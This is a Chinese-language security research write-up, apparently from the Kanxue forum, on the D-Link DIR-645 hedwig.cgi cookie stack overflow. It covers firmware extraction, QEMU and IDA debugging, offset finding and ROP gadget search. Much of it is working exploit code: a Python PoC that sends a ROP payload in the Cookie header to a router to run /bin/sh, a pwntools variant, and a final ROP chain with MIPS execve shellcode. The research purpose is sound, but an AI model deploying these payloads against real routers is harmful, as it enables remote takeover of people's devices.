dir-645 超长cookie栈溢出漏洞分析

  • A+
所属分类:逆向工程
dir-645 超长cookie栈溢出漏洞分析

本文为看雪论精华文章

看雪论坛作者ID:pureGavin



dir-645 超长cookie栈溢出漏洞分析

前言

dir-645 超长cookie栈溢出漏洞分析


分析一个D-Link的漏洞学习一下路由器漏洞方面的知识,《路由器0day》这本书提到的DIR-815 cookie溢出漏洞的固件在官网上已经找不到了,但是此漏洞影响的范围包括了DIR-645,故用DIR-645 1.01版本的固件分析。

分析用到的工具:
  • IDA Pro:反汇编和远程调试

  • Ghidra 9.1.2:我的IDA不能生成mips的伪代码,所以我用ghidra来看伪代码

  • Ubuntu + qemu:模拟路由器运行环境

  • 固件下载链接

    ftp://ftp2.dlink.com/PRODUCTS/DIR-645/REVA/DIR-645_FIRMWARE_1.01.ZIP


使用如下命令将文件系统提取出来:
binwalk -e DIR645A1_FW101B06.bin

从书中得知漏洞存在于./htdocs/cgibin中,将cgibin拷贝到物理机中,使用IDA分析,shift+F12打开字符串窗口,搜索“HTTP_COOKIE”。

dir-645 超长cookie栈溢出漏洞分析

双击这一项,定位到rodata段查看详细信息,选中aHttpCookie,按X键查看调用信息(ghidra则是选中函数名,右键->References->find References to #function name#)。

dir-645 超长cookie栈溢出漏洞分析

双击后进入sess_get_uid函数,此函数只是使用了“HTTP_COOKIE”字符串,继续按X键查看调用信息。

dir-645 超长cookie栈溢出漏洞分析

双击进入hedwigcgi_main函数,看到调用sess_get_uid函数之后紧接着调用了sprintf函数(PS:之所以用sprintf而不是strcpy是因为strcpy只能是字符串到字符串,而sprintf可以是从任意类型到字符串),而sprintf函数就是导致栈溢出的重要函数;接下来需要用IDA进行远程调试,调试之前需要对书中自带的脚本进行一些修改,修改后如下:

#!/bin/bash#sudo ./pentest_cgi.sh 'uid=1234' `python -c "print 'uid=123'+'A'*0x600"` INPUT="$1"TEST="$2"LEN=$(echo -n "$INPUT" | wc -c)PORT="1234" if [ "$LEN" == "0" ] || [ "$INPUT" == "-h" ] || [ "$UID" != "0" ]then echo -e "nUsage: sudo $0 n" exit 1fi#需要将qemu-mipsel改成qemu-mipsel-staticcp $(which qemu-mipsel-static) ./qemu echo "$INPUT" | chroot . ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E HTTP_COOKIE=$TEST -E REQUEST_URI="/hedwig.cgi" -E REMOTE_ADDR="192.168.1.1" -g $PORT /htdocs/web/hedwig.cgiecho 'run ok'rm -f ./qemu

使用第二行注释中的命令运行脚本,开启远程调试,接下来会详细讲解如何用IDA远程调试DIR-645路由器固件(主要是本人使用IDA时花一天才解决此问题o(╥﹏╥)o)。

首先用IDA打开cgibin文件,并定位到上面讲的sprintf函数(注意是“jalr    $t9 ; sprintf”那一行),然后F2下断点。

dir-645 超长cookie栈溢出漏洞分析

然后在Ubuntu中运行pentest_cgi.sh脚本(运行命令在文件的第二行注释),并等待调试。
dir-645 超长cookie栈溢出漏洞分析
在IDA中选择Debugger->select Debugger…在对话框中选择GDB debugger然后点击OK。

dir-645 超长cookie栈溢出漏洞分析

重新选择Debugger->Process options… 输入远程路径、hostname和端口,然后单击OK。
dir-645 超长cookie栈溢出漏洞分析
最后点击Debugger->Attach to process… 我的选择框中只有一项,所以就选这一项,然后单击OK。
dir-645 超长cookie栈溢出漏洞分析
附加成功后无需再下断点,直接按F9就可以停在调用sprintf函数的位置上。
dir-645 超长cookie栈溢出漏洞分析
在Hex View窗口右键Synchronize with -> SP,这样窗口就会跟着程序走了,方便观察栈溢出。

修改pentest_cgi.sh然后配合patternLocOffset.py算出溢出位置,修改后的pentest_cgi.sh代码如下:

# !/bin/bash## 载入定位字符串,设置环境变量,模拟真实的运行环境,IDA远程调试执行## hedwig.cgi -> /htdocs/cgibinTEST=$(python2.7 -c "print'uid='+open('dir645_patternLocOffset_test','r').read()")echo $TESTLEN=$(echo -n $TEST|wc -c)echo $LENsudo cp $(which qemu-mipsel-static) ./sudo chroot $PWD /qemu-mipsel-static -E CONTENT_TYPE="application/x-www-form-urlencoded" -E HTTP_COOKIE=$TEST -E CONTENT_LENGTH=$LEN -E REQUEST_URI="/hedwig.cgi" -E REQUEST_METHOD="POST" -E REMOTE_ADDR="192.168.80.133" -g 1234 /htdocs/web/hedwig.cgi

这个pentest_cgi.sh脚本在之后漏洞利用测试的时候也会用到。

使用patternLocOffset.py测试固件溢出位置,命令如下:

python2.7 ./patternLocOffset.py -c -l 2000 -f dir645_patternLocOffset_test

直接执行pentest_cgi.sh,并且用IDA附加调试,得到溢出的偏移。

dir-645 超长cookie栈溢出漏洞分析

将程序报错时显示的字符串带入patternLocOffset工具中,得出偏移位置。

dir-645 超长cookie栈溢出漏洞分析

查找ROP链时需要用到mipsrop插件,这个插件对IDA7的支持不好,需要用到IDA68,使用时将GitHub上下载的ida工程中的shims和mipsrop两个文件夹下的py文件全都复制到IDA的plugin目录中。

dir-645 超长cookie栈溢出漏洞分析

在IDA68中输入命令:mipsrop.stackfinder()

dir-645 超长cookie栈溢出漏洞分析


得到以下可做ROP的地址,选择0x159cc。

dir-645 超长cookie栈溢出漏洞分析

IDA中的mipsrop只是得到ROP的偏移,还需要找到libc.so.0的基地址,使用qemu模拟mips系统运行时需要先解决网络问题,否则无法传文件;有两种方法,其中一种是修改/etc/network/interfaces文件,这种方法我始终无法成功,所以我选择创建网桥的方法,命令如下:

创建网桥:
sudo brctl addbr virbr0sudo ifconfig virbr0 192.168.122.1/24 up

创建tap接口,并添加到网桥:
sudo tunctl -t tap0sudo ifconfig tap0 192.168.122.11/24 upsudo brctl addif virbr0 tap0

使用命令,启动镜像:
qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1 console=ttyS0" -net nic,macaddr=00:0c:29:d4:72:11 -net tap -nographic

进入虚拟机(虚拟机账号/密码:root/root)后需要设置IP,这一步并不是必须的,例如我并没有设置IP就直接可以联网了:
ifconfig eth0 192.168.122.12/24 up

我在没有设置IP的情况下直接ping www.baidu.com可以ping通。
dir-645 超长cookie栈溢出漏洞分析
接下来需要用scp命令把路由器的所有文件从Ubuntu中复制到Debian中,命令如下(IP改成自己的Debian的IP):
scp -r ./squashfs-root  [email protected]168.254.132:/root/

运行漏洞代码前先将ASLR关闭。
echo 0 > /proc/sys/kernel/randomize_va_space

第一个看似libc.so.0的基地址,实则并不是,有前辈分析此漏洞时使用这种方法成功找到过libc基址,但是我始终无法成功,所以我采用第二种方法。

dir-645 超长cookie栈溢出漏洞分析

dir-645 超长cookie栈溢出漏洞分析

第二种方法是使用qemu的用户模式调试,需要注意的是这种调试方式当qemu-user版本过低时,使用gdb远程调试会出现如下问题:
dir-645 超长cookie栈溢出漏洞分析
qemu:handle_cpu_signal received signal outside vCPU context @ pc=0x601665d2

此时gdb会显示这是一个bug,并要求你上报。

dir-645 超长cookie栈溢出漏洞分析

这个错误其实是qemu的一个bug,Ubuntu18.04适配的是2.11.1版本的qemu,此时需要将qemu升级到4.2以上的版本,有两种方法:

1、在GitHub上下载源码,并编译

2、使用Ubuntu20.04及以上版本下载qemu,因为Ubuntu20.04适配的就是qemu 4.2

我选择的是使用Ubuntu20.04运行qemu调试,而Ubuntu20.04是个大坑;首先Ubuntu20.04的源仓库中并没有包含Python2的pip,所以需要使用get-pip.py来安装pip2:
apt-get install python2curl https://bootstrap.pypa.io/get-pip.py --output get-pip.pypython2 get-pip.py

使用GitHub或者apt安装好binwalk后使用binwalk提取固件,可能会报此错误。

dir-645 超长cookie栈溢出漏洞分析

需要手动安装一下sasquatch,命令如下:
sudo apt-get install zlib1g-dev liblzma-dev liblzo2-devgit clone https://github.com/devttys0/sasquatchcd sasquatch && ./build.sh

当一切就绪时,运行pentest_cgi.sh脚本,然后使用gdb远程调试:
gdb-multiarch ./htdocs/cgibinset arch mipsset endian bigtarget remote 192.168.80.133:1234
dir-645 超长cookie栈溢出漏洞分析

使用之前获得的libc基址+偏移构造ROP链,poc代码如下:
# coding:utf-8  import sysimport timeimport stringimport socketfrom random import Randomimport urllib, urllib2, httplib  class MIPSPayload:    BADBYTES=[0x00]    LITTLE = "little"    BIG = 'big'    FILLER = 'A'    BYTES = 4    def __init__(self,libase=0, endianess=LITTLE, badbytes=BADBYTES):        self.libase = libase        self.shellcode = ""        self.endianess = endianess        self.badbytes = badbytes    def rand_text(self, size):        str = ''        chars = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789'        length = len(chars) - 1        random = Random()        for i in range(size):            str += chars[random.randint(0,length)]            return str      def Add(self, data):        self.shellcode += data      # get RA addr    def Address(self, offset, base=None):        if base is None:            base = self.libase        return self.ToString(base + offset)      def AddAddress(self, offset, base=None):        self.Add(self.Address(offset, base))      def AddBuffer(self,size, byte=FILLER):        self.Add(byte * size)      def AddNops(self, size):        if self.endianess == self.LITTLE:            self.Add(self.rand_text(size))        else:            self.Add(self.rand_text(size))      def ToString(self,value, size= BYTES):        data =''        for i in range(0, size):            data += chr((value >> (8*i)) & 0xFF)        if self.endianess != self.LITTLE:            data = data[::-1]        return  data      def Build(self):        count = 0        for c in self.shellcode:            for cbyte in self.badbytes:                if c == chr(cbyte):                    raise Exception("Bad byte found in shellcode at offset %d: 0x%.2x"%(count,cbyte))            count +=1        return self.shellcode      def Print(self, bp1=BYTES):        i = 0        for c in self.shellcode:            if i == 4:                print ""                i = 0            sys.stdout.write("\x%.2X"%ord(c))            sys.stdout.flush()            if bp1 > 0:                i += 1        print "n"  class HTTP:    HTTP = 'http'    def __init__(self, host, proto=HTTP, verbose=False):        self.host = host        self.proto = proto        self.verbose = verbose        self.encode_params = True      def Encode(self, data):        #just for DIR645        if type(data) == dict:            pdata =[]            for k in data.keys():                pdata.append(k + '=' + data[k])            data = pdata[1] + '&' + pdata[0]        else:            data = urllib.quote_plus(data)            return  data      def Send(self, uri='', headers={}, data=None, response=False, encode_params=True):        html = ""        if uri.startswith('/'):            c = ''        else:            c = '/'        url = '%s://%s'%(self.proto, self.host)        uri = '/%s'%uri          if data is not None:            data = self.Encode(data)        #print data        if self.verbose:            print url          httpcli = httplib.HTTPConnection(self.host, 80, timeout=30)        httpcli.request('POST', uri, data, headers=headers)        response=httpcli.getresponse()        print response.status        print response.read()  if __name__ == '__main__':      libc = 0x7f738000 #0x40854000      '''    ROP    $ra = 0x77f34000 +  0x000158C8      *************************************************    $s5 = 0x77f34000 + 0x159cc    $s0 = 0x77f34000 + 0x531FF      0x158c8:         .text:000158C8                 move    $t9, $s5        .text:000158CC                 jalr    $t9        .text:000158D0                 addiu   $s0, 1    *************************************************        $s0 = 0x77F87200    :system    $s5 = commandAddr = $sp+0x10      0x159cc:        .text:000159CC                 addiu   $s5, $sp, 0x10        .text:000159D0                 move    $a1, $s3        .text:000159D4                 move    $a2, $s1        .text:000159D8                 move    $t9, $s0        .text:000159DC                 jalr    $t9 ; mempcpy    '''         target = {        "645-1.01":[0x531ff, 0x158c8, 0x159cc],    }    v = '645-1.01'    cmd = '/bin/sh'    ip = '192.168.0.1'    payload = MIPSPayload(endianess="little", badbytes=[0x0d, 0x0a])      payload.AddBuffer(1007)                       #filler    payload.AddAddress(target[v][0], base=libc)   #$s0      0x77f34000 + 0x531ff    payload.AddBuffer(4)                          #$s1    payload.AddBuffer(4)                          #$s2    payload.AddBuffer(4)                          #$s3    payload.AddBuffer(4)                          #$s4    payload.AddAddress(target[v][2], base=libc) #$s5      # 0x77f34000 +0x159cc    payload.AddBuffer(4)                          #unused($s6)    payload.AddBuffer(4)                          #unused($s7)    #payload.Add(payload.ToString(0x0043B6D0))    payload.AddBuffer(4)                          #unused($gp)    # 1043    payload.AddAddress(target[v][1], base=libc) #$ra  # 0x77f34000 +0x158c8= 0x77F498C8    payload.AddBuffer(4)                          # fill    payload.AddBuffer(4)                          # fill    payload.AddBuffer(4)                          # fill    payload.AddBuffer(4)                          # fill    payload.Add(cmd)                            # shellcode      pdata = {        'uid':'shuidi',        'password':'shuidi',    }    print payload.shellcode    payload = payload.Build()    print payload      fw = open('dir645_patternLocOffset_test', 'w')    fw.write(payload)  # 'A'    fw.close()         '''    header = {        'Cookie' : 'uid='+payload.Build(),        'Accept-Encoding' : 'gzip, deflate',        'Content-Type' : 'application/x-www-form-urlencoded',        'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)'    }    try:        HTTP(ip).Send('hedwig.cgi',data=pdata, headers=header, encode_params=False,response=True)    except httplib.BadStatusLine:        print "Payload deliverd."    except Exception,e:        print "2Payload delivery failed: %s" % str(e)····

以上是《路由器0day》一书中的原版poc脚本,接下来是简单版本的poc脚本:
from pwn import * context.endian = "little"context.arch = "mips"base_addr = 0x7f738000system_addr_1 = 0x53200-1gadget1 = 0x45988gadget2 = 0x159cc padding = 'A' * 0x3cdpadding += p32(base_addr + system_addr_1) # s0padding += p32(base_addr + gadget2) # s1padding += 'A' * 4 # s2padding += 'A' * 4 # s3padding += 'A' * 4 # s4padding += 'A' * 4 # s5padding += 'A' * 4 # s6padding += 'A' * 4 # s7padding += 'A' * 4 # fppadding += p32(base_addr + gadget1) # rapadding += 'B' * 0x10padding += '/bin//sh' f = open("exploit",'wb+')f.write(padding)f.close()

运行脚本,将payload打印到之前用patternLocOffset.py创建的文件dir645_patternLocOffset_test中,然后运行pentest_cgi.sh,启动远程调试。

dir-645 超长cookie栈溢出漏洞分析
dir-645 超长cookie栈溢出漏洞分析
dir-645 超长cookie栈溢出漏洞分析
dir-645 超长cookie栈溢出漏洞分析

在system执行时发生了中断,当前指令是想从(fp+0x10)处取一个字节给$gp,但是fp是空指针,所以(fp+0x10)并不存在,所以会直接报错。

dir-645 超长cookie栈溢出漏洞分析

至此我不得不采用另一种方法:编写shellcode从而获得shell。此种方法需要了解一些mips的缓存机制,mips的CPU有两个独立的cache:指令cache和数据cache。

具体细节无需过多的纠结,我们只需要知道不能让shellcode写入到数据cache中,所以我们需要让缓存在写shellcode之前先满一次,缓存满了就会触发flush,然后将shellcode写到主内存中;

最简单的让缓存数据写入内存的方法是调用堵塞函数,例如sleep()函数,整个rop的流程图如下:

dir-645 超长cookie栈溢出漏洞分析

图中的mipsrop就是IDA插件中mipsrop的命令,可以直接使用。

dir-645 超长cookie栈溢出漏洞分析

此处gadget可以直接跳转至s1处的地址,但是不能直接将sleep()函数的地址放到s1中,因为sleep()函数在最后会执行“jr  $ra”,而“ra”寄存器我们无法控制,所以还需要再找一个gadget控制“ra”寄存器。

dir-645 超长cookie栈溢出漏洞分析

dir-645 超长cookie栈溢出漏洞分析
dir-645 超长cookie栈溢出漏洞分析

此gadget将“$sp+0x28”处的地址给“ra”,这就使sleep()在最后变得可控,同时此gadget最后会跳转到“$s2”处的地址,可以将sleep()函数的地址放到“s2”寄存器中,sleep()函数的偏移是0x56bd0。

dir-645 超长cookie栈溢出漏洞分析
dir-645 超长cookie栈溢出漏洞分析

使用“mipsrop.stackfinder()”命令寻找一个可以存放shellcode的位置,并且还会跳转到“s4”的位置;最后需要找一个能跳转到“s1”寄存器的gadget。
dir-645 超长cookie栈溢出漏洞分析
dir-645 超长cookie栈溢出漏洞分析

在寻找gadget是需要注意不能出现:0x20(空格)、0x00(结束符)、0x3a(冒号)、0x3f(问号)、0x3b(分号)、0x0a(n换行符)等。

找到gadget后就是shellcode的编写,pwntools提供了一个非常好用的asm()函数,不过原版的pwntools并不能直接编译mips的汇编,需要安装mipsel的binutils,安装mipsel的binutils命令如下:

apt-get install binutils-mipsel-linux-gnu

安装完成后直接打开Python2,输入以下命令就行了:
>>> from pwn import *>>> context.arch='mips'>>> asm("slti $a2, $zero, -1")'xffxffx06('

输出的十六进制代码有三个字节外加一个括号,但当我们执行如下命令就会发现其实不影响执行。
>>> b'xffxffx06x28'=='xffxffx06('True

最终的poc脚本如下:
from pwn import * context.endian="little"context.arch="mips"libc_base = 0x7f738000sleep = 0x56BD0gadget1 = 0x57E50gadget2 = 0x3B8A8gadget3 = 0x14F28gadget4 = 0x1DD08 # Linux/MIPS - execve /bin/sh - 48 bytesshellcode = "xffxffx06x28" # slti $a2, $zero, -1shellcode += "x62x69x0fx3c" # lui $t7, 0x6962shellcode += "x2fx2fxefx35" # ori $t7, $t7, 0x2f2fshellcode += "xf4xffxafxaf" # sw $t7, -0xc($sp)shellcode += "x73x68x0ex3c" # lui $t6, 0x6873shellcode += "x6ex2fxcex35" # ori $t6, $t6, 0x2f6eshellcode += "xf8xffxaexaf" # sw $t6, -8($sp)shellcode += "xfcxffxa0xaf" # sw $zero, -4($sp)shellcode += "xf4xffxa4x27" # addiu $a0, $sp, -0xcshellcode += "xffxffx05x28" # slti $a1, $zero, -1shellcode += "xabx0fx02x24" # addiu;$v0, $zero, 0xfabshellcode += "x0cx01x01x01" # syscall 0x40404 payload = 'A' * 0x3ef #1043-4*9payload += 'A' * 4 # s0payload += p32(libc_base + gadget2) # s1 = mipsrop.tail() && move $ra,$(sp+0x24) && jr s2payload += p32(libc_base + sleep) # s2 = jr $(sp+0x24)payload += 'A' * 4 # s3payload += p32(libc_base + gadget4) # s4 = mipsrop.find("move $t9,$s1") && jr shellcodepayload += 'A' * 4 # s5payload += 'A' * 4 # s6payload += 'A' * 4 # s7payload += 'A' * 4 # fppayload += p32(libc_base + gadget1) # fisrt_ra = mipsrop.find("li $a0,1") && jr s1payload += 'B' * 0x24 # mipsrop.tail() 0x24B paddingpayload += p32(libc_base + gadget3) # $(sp+0x24) = mipsrop.stackfinder() && move s1,$(sp+0x18) && jr $s4 payload += 'c' * 0x18 # mipsrop.stackfinder() 0x18B paddingpayload += shellcode f = open("exploit",'wb+')f.write(payload)f.close()

使用Python2执行此脚本后,会将整个rop链+shellcode写入exploit文件中,然后将pentest_cgi.sh修改为读取exploit:
# !/bin/bash## 载入定位字符串,设置环境变量,模拟真实的运行环境,IDA远程调试执行## hedwig.cgi -> /htdocs/cgibinTEST=$(python2.7 -c "print'uid='+open('exploit','r').read()")echo $TESTLEN=$(echo -n $TEST|wc -c)echo $LENsudo cp $(which qemu-mipsel-static) ./sudo chroot $PWD ./qemu-mipsel-static -E CONTENT_TYPE="application/x-www-form-urlencoded" -E HTTP_COOKIE=$TEST -E CONTENT_LENGTH=$LEN -E REQUEST_URI="/hedwig.cgi" -E REQUEST_METHOD="POST" -E REMOTE_ADDR="192.168.80.128" -g 1234 /htdocs/web/hedwig.cgi

在运行pentest_cgi.sh脚本之前记得将脚本中的IP地址修改为本机的IP;

运行pentest_cgi.sh脚本,然后用gdb远程调试,进入gdb后直接在sleep函数下断,然后一直步过(“ni”),当sleep函数运行完成后就会执行shellcode,最后执行完syscall后就能得到shell了。

dir-645 超长cookie栈溢出漏洞分析

dir-645 超长cookie栈溢出漏洞分析


dir-645 超长cookie栈溢出漏洞分析

结束语

dir-645 超长cookie栈溢出漏洞分析


虽然成功的截图只是简单的两张图片,但是调试+环境搭建的过程却是漫长的过程,在教程中我能成功的方法有前辈无法成功,为了避免再次给后人挖坑,我还会做一篇使用qemu的系统模式复现此漏洞的教程。


dir-645 超长cookie栈溢出漏洞分析

- End -


dir-645 超长cookie栈溢出漏洞分析


看雪ID:pureGavin

https://bbs.pediy.com/user-home-777502.htm

 

 *本文由看雪论坛 pureGavin 原创,转载请注明来自看雪社区。




# 往期推荐






dir-645 超长cookie栈溢出漏洞分析
公众号ID:ikanxue
官方微博:看雪安全
商务合作:[email protected]



dir-645 超长cookie栈溢出漏洞分析

球分享

dir-645 超长cookie栈溢出漏洞分析

球点赞

dir-645 超长cookie栈溢出漏洞分析

球在看



dir-645 超长cookie栈溢出漏洞分析

点击“阅读原文”,了解更多!

本文始发于微信公众号(看雪学院):dir-645 超长cookie栈溢出漏洞分析

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: